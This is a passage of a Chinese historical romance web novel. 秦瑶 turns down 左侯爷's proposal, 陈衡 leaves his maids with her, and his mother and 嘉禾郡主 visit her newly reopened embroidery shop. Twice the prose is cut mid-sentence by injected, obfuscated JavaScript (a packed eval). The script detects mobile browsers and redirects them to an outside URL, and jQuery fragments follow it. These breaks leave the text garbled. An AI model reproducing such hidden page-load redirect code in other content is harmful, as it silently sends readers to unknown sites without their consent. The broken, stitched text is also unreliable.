这话不明着说清楚,怕是他不会善罢甘休。 两人来到前厅,这里已被打扫干净,此刻无人来打扰。 那上座摆着的是两把黄花梨太师椅,两侧花架上还分别置了盆景,为室内增添一抹绿意。 左侯爷对这些倒是颇有心得。 秦瑶未曾上坐,而是找了靠近门侧的椅子,请他坐在自己对面。 两人几乎没有如此对坐平视过,左侯爷用手擦了下扶手,别过眼神,一时有些紧张。 “侯爷。”秦瑶正襟危坐,道,“此事亦是拖不得了,我想今日我必须澄清。” 侯爷喉结动了动,声音发涩:“阿瑶妹子想澄清什么?” “不瞒侯爷,我对侯爷并无半分男女之情,望侯爷悉知。”她坦诚相告。 左侯爷此刻眼神更是四处乱飘,不敢看她:“这个我自然知道。” 秦瑶却直盯着他,一字一句逼问道:“那侯爷可又曾想过,侯爷对我有无男女之情?” 他抓了抓发髻,有些烦躁。 这种事,他从来不想,想娶谁做自己的婆娘,难道就不算是真心喜欢? “抛开什么感情不谈,难道阿瑶就不觉你嫁入侯府,是天时地利人和?”他思索片刻,道,“你若进了侯府,又做了娇娇的娘,我娘也十分中意你,如此岂不皆大欢喜?至于男女之情,这世上多的是婚前没见过面的夫妻,难不成他们之间就全无男女之情?” “如此说来,侯爷应当看清自己内心,你对我并无男女之情。”秦瑶劝道,“难道侯爷就不想找个心爱之人,相伴一生?” 左侯爷陷入了沉思。 他与先夫人是父母之命,媒妁之言,若说有那么点心动,也是在新婚之时。 后来她相夫教子,也算贤惠,两人相敬如宾。 心爱之人? 他抬眼看了一眼秦瑶。 记得当日第一次见到她时,他只觉得这女子身上藏了八百个心眼,极难对付。 后又被母亲告知,她是恩人,又觉得她是个心地善良的姑娘。 自己从未如此审视过一个女子,不知不觉便对她多了几分关注。 至于这关注算不算喜欢…… 左侯爷决定坦诚自己的想法,余下的由秦瑶来判断。 “阿瑶妹子,我就想娶你进门,这算不算男女之情!”他鼓起勇气,大吼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14328945|145921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声,手心里已全是汗。 正厅门槛处,一只脚刚踏入里边的陈衡,听到此话又默默把脚缩回去。 秦瑶“噌”地一下站了起来。 有人闯入,她与侯爷皆是面色通红。 “陈兄弟,你、你来了?”侯爷尴尬笑了笑。 陈衡阴沉着一张脸,并未答话。 秦瑶向他身后看去,只见予安、小桃、绿华等人皆在,一行人的神色一看就是听到了方才侯爷的话。 这时,后院几个家丁匆匆赶来,道:“乡君,侯爷,每间房都已收拾干净,只剩个花园还未动工,这天马上要下雨,不如明日再收拾?” 不等两人回答,陈衡先冷笑道:“原来乡君已有了新人侍奉左右。” 他这话暗指侯爷。 秦瑶自然听出话里的酸味,也顾不上尴尬,忙解释道:“侯爷只是叫了侯府的人来帮忙。” 陈衡垂眸自嘲:“是在下鲁莽了,乡君身边怎会缺人?我带这些人来,着实可笑。” “别啊!”左侯爷宽慰起他来,“正巧这丫鬟我带来的不多,陈兄弟这些人留下添补人手,也是极好。” 陈衡冷冷瞥了他一眼。 秦瑶向小桃投去求救目光,道:“待会儿侯爷走时,把侯府的人带回去吧!这些人与我颇为相熟,我也习惯她们侍候了,是吧,小桃?” 小桃撇撇嘴,为自家公子打抱不平。 “绿华,你说呢?”她又上前扯了绿华的袖子。 绿华福身道:“乡君尊贵,奴实不敢当。” 陈衡转过身去:“既然乡君已有了人手,在下便告辞了。” 说罢他带着一群人就要离去。 “等等!”秦瑶一跺脚,上前堵住了去路,“都留下!这些人我都要!” 小桃没忍住,捂嘴偷笑。 陈衡脚步停了停,吩咐道:“予安,走!” 他只叫了予安一人,自然是要把其他人留下。 几个丫鬟也自觉停下脚步,目送旧主离去。 “姑娘,如今我们也该改口叫乡君了。”几人围了上来,兴奋道,“公子来时说了,已将我们送予乡君,往后乡君就是我们的主人!” 秦瑶笑道:“姐妹不必客气,我们还按之前相处即可,若突然换了方式反倒不习惯了。” 这突如其来的其乐融融,打破了方才的尴尬氛围。 秦瑶转向左侯爷,道:“侯爷也看到了,我这儿不缺人手,侯爷便将侯府的人带走吧!” 左侯爷算是看明白了,她对自己带来的人颇为抗拒,却对陈衡带来之人欣然接纳。 秦瑶姑娘心中有陈公子,他虽早知道,可如今有此事做比对,却令他心中不是滋味。 “成,我这就带他们回去。”他只得应下。 不过这秦瑶身边全是丫鬟,没个护院,他再三思索,还是将几个强壮男仆留下,暂时充作护院。 待秦瑶安排好下人们,左侯爷也前来告辞。 他把人拉至僻静处,诚恳道:“方才我的话,还望阿瑶妹子再考虑一番。” 不知怎的,见过陈衡,他心有不甘。 75. 嫁娶之物 趁雨未落下,秦瑶送走了左侯爷。 屋内闷热如蒸笼般,她索性搬了木凳,坐在檐下看雨。 夏日的雨来得急,天空很快电闪雷鸣,豆大的雨点砸了下来,不一会儿狂风席卷着暴雨便来了。 秦瑶有些担心,期望着侯府的马儿脚程快些,别被这雨拍打在半路。 陈衡……他走得早些,这会儿若回陈家,怕是已经到了。 若是回了他那小宅子,此时指定得被雨淋。 她托着腮,呆呆想着。 也不知那赐婚的圣旨下来没有,他有没有接到。 小桃先收拾好了屋子,见她坐在屋檐下发呆,也站了过来。 “乡君是在想我们公子?”她开口试探道。 秦瑶口是心非:“没有。” 小桃知道两人在别扭什么,默默蹲下来,道:“不知乡君还记不记得,在江城你我初遇?” 秦瑶望着雨幕,点了点头。 “从小我娘便跟我说,我自打生下来,就是给陈家大郎做通房的。”小桃轻轻道,“乡君也知道,我们那个地方,又是这种出身,能跟了大户人家的公子,从此吃喝不愁,也算是一条好出路。” “嗯,我岂会不知?”秦瑶苦笑,“别忘了,我也是乡野出身。” 小桃自嘲道:“是啊,所以那时我初见公子,便卯足了劲儿想要爬上他的床,快点实现吃喝不愁的梦想……” 她话锋一转,“可是乡君,虽然我最后闹了个笑话,差点就跟了公子的小厮,是你一直将我带在身边,还把生意上的事交给我打理,让我看到了女子并不是只有嫁人这一条出路……” 秦瑶的思绪被拉入回忆。 那时她遇到危险,上了陌生的马车,甚至一度怀疑是小桃做的。 正因为如此,她在怀疑过后才心存愧疚,决心把小桃带在身边。 “许是因我活得太久,比你们看得更清楚些罢了。”她道。 小桃却摇了摇头:“如今你是把我带出了那个坑,可是乡君你呢?你自诩年纪比我大些,见的比我多些,怎么此刻也同当日的我一样了?陈公子就算娶了郡主又于你何干?难道你真的打算就此消沉,默默做个他养在外头的外室?” 秦瑶放下托腮的双手,直起身来。 惊雷在她头顶炸响,仿佛要把她唤醒。 若天命不可更改,她宁愿与他一刀两断,就当两人有缘无份,从此后桥归桥,路归路。 反正上一世自己同样没有嫁人,不一样过得好好的? 她将陈衡抛在脑后,冲小桃笑道:“想这么些无用的做什么,不如快帮我想想,海棠绣坊接下来该如何经营。” * 日子忙碌起来,如白驹过隙。 这几天宫中也传来了旨意,选在这月十五举办宫宴,庆贺陛下新封的承安君。 经过几次夏雨,天也转凉,不再闷热,街上出来逛街的人明显多了起来。 海棠绣坊便选在此时重新开业。 陈衡这日下了值,想着已多日没有回陈家看母亲,就直接回了陈家。 一进母亲所住的院子,却听到屋里阵阵欢笑。 “公子相貌堂堂,也是随了夫人了!” 一道声音响起,陈衡觉得这声音好像在哪里听到过。 他走近了一看,皱起眉头。 只见屋内,母亲与嘉禾郡主坐在,站在两人身后说得眉飞色舞的,正是秦馠。 不知她们怎么聚在一起了。 陈母瞧见儿子回来,生怕他转身再跑了,忙招招手,道:“回来了也不进来?也不看看谁来了!” 嘉禾郡主原本脸上挂着假笑,见她的小陈大人回来了,瞬间神采飞扬。 她站起身,走到陈衡身边:“大人回来了?” “哎呀,你这孩子!”陈母冲儿子埋怨道,“原来陛下要给你和郡主赐婚,你也太过谨慎了,连娘都瞒着!” 她见两人站在一起,颇有些金童玉女的意味,不由慈爱笑了。 这儿媳,可比不知哪里来的乡野丫头强多了。 陈衡自是不愿与这些人多说话,神情恹恹道:“若无其他事,儿子告退。” 嘉禾郡主急道:“大人留步!方才我正与夫人说呢,过几日宫宴,我们准备上街看看,有什么需要采买的。” 逛街?陈衡更没兴趣。 他道:“那就祝郡主早日买到心爱之物。” 陈母也站了一起,一把拉住儿子:“你别想走,这回无论如何,你也得同我们上街!” “儿子还有事。”他拒绝。 “有事也不行!”陈母在儿子面前,向来任性,“你数数,你陪娘上街的次数一只手都能数的过来!再说郡主是贵客,哪有贵客要去哪儿,主人不陪的道理?” 陈衡虽在明面上从不忤逆母亲,却也甩了袖子不予理会。 嘉禾郡主见留不住他,一急就追上前去,挡了他的去路:“今日海棠绣坊开业!” 陈母不知海棠绣坊如今当家的成了秦瑶,忙点头道:“对,对,绣坊开业,娘想去选些好的绣品。” 陈衡怔了怔,终是没再走。 陈母大喜,忙吩咐下人备了马车,一行人要去海棠绣坊。 此次重新开业,秦瑶并未大张旗鼓,因这绣坊本就按部就班,不用再改什么。 侯府作为绣坊背后的东家,也不想太过高调。 不过消息还是被有心之人得知,京城不少达官显贵今日都给了面子,各家夫人小姐纷纷出动前来。 陈家一行人到了绣坊,见这一条街车水马龙,好不热闹。 陈母高兴道:“海棠绣坊必出不凡,也不知这转了手,里头绣品有无什么新花样。” 而跟在她身后的几人,各个神情严肃。 秦馠怕冷了场,尴尬笑道:“就是个绣坊而已,夫人若喜欢还不是说买就买?” 她原也不想来,可是陛下要赐婚的事是她告诉陈母的,她又在中间牵线搭桥,让嘉禾郡主提前见到了陈母,得以先得了未来婆婆的喜爱。 陈家的一切情形,包括丫鬟莹秋有做妾的心思,都被她一一透露给了郡主。 如今嘉禾郡主对她可是另眼相待,到哪儿去都要带上她。 “几位贵人,想看些什么?”绣坊前街,铺子门口的几个小二,见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14341065|145921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有客人来,便派出一人前来接待。 陈母兴致勃勃:“这新开业,有没有什么新品啊?我儿子也快娶亲了,什么屏风、夏被,都带我们进去瞧瞧!” 当着嘉禾郡主的面,陈母觉得不能小气了去,让郡主看不起。 “好嘞!”小二喜笑颜开,“贵客请进!” 铺子里一改往日清净,客人多得很,掌柜忙着在柜台安排算账送货等事宜,忙得抬不起头来。 秦瑶站在柜台边,微笑着帮忙,替他解决一时无法解决之事。 陈母看到她时,愣了愣:“真晦气,怎么碰到她也来买东西!” 却见秦瑶站在那儿面带微笑,身边还跟了一个丫鬟,正大方回答客人问题,陈母才惊觉,难道这里的新主人是她? 她揪住小二,指了指秦瑶:“那是谁?你们新东家?” 小二摇了摇头,压低声音道:“难道夫人不知,我们的新东家是侯府?” “原来如此。”陈母松了一口气,自嘲道,“看我想什么呢,她怎么可能有那个本事!” “她是我们管事。”小二又道。 陈母放下肚子里的心,又重新揪了上来:“管事?让女子来做管事,管这么大个绣坊?” “女子又怎么了?”小二翻了个白眼,道,“我们管事还是个乡君呢!” 陈母白了他一眼,气得说不出话来。 秦瑶接待完一批客人,一抬头就看到几个熟悉的面孔。 陈衡这是陪未婚妻逛街?还带着母亲,一家人真是其乐融融。 她心中一酸。 来者皆是客,她再怎么不喜,也得笑脸相迎。 嘉禾郡主来到她面前:“承安君,几日不见,恭喜你成了海棠绣坊的新管事。” “承蒙郡主看得起。”秦瑶笑道,“也恭喜郡主,得偿所愿。” 她目光透光郡主,看到郡主身后不远处的陈衡。 陈衡面无表情,即使听自己如此恭喜,也不见他上来反驳。 看来他是接受这门亲事了。 秦瑶努力笑着,掩饰自己的失落。 嘉禾郡主得意道:“算你有眼力,陈家喜事将近,想买些新婚嫁娶之物,不知承安君有何推荐?” 秦瑶朝小二示意。 小二立刻领命,对几人道:“贵客过来瞧瞧。” 嘉禾郡主却一动未动,指着秦瑶道:“本郡主想让管事亲自带我们一看。” 秦瑶身后的小桃忍不住想要发怒,被秦瑶制止了。 “好啊,那就请郡主及陈公子随我来。”她道。 陈衡欲言又止。 他上前拦了嘉禾郡主:“郡主还慎言!” 嘉禾郡主撇撇嘴,委屈拉来陈母:“夫人,不是你说要买些婚嫁之物吗?” “对。”陈母瞪了一眼儿子,对郡主堆起讨好的笑容,“郡主喜欢什么便挑些什么,毕竟这些物件也都是为你们所准备的。” 嘉禾郡主朝秦瑶不屑道:“那就劳烦管事,我说你呀,可千万小心了,别让这绣坊的生意毁在你手上,毕竟这陈家你也没福气嫁了,就说这绣坊的好绣娘,也被你赶了出去……”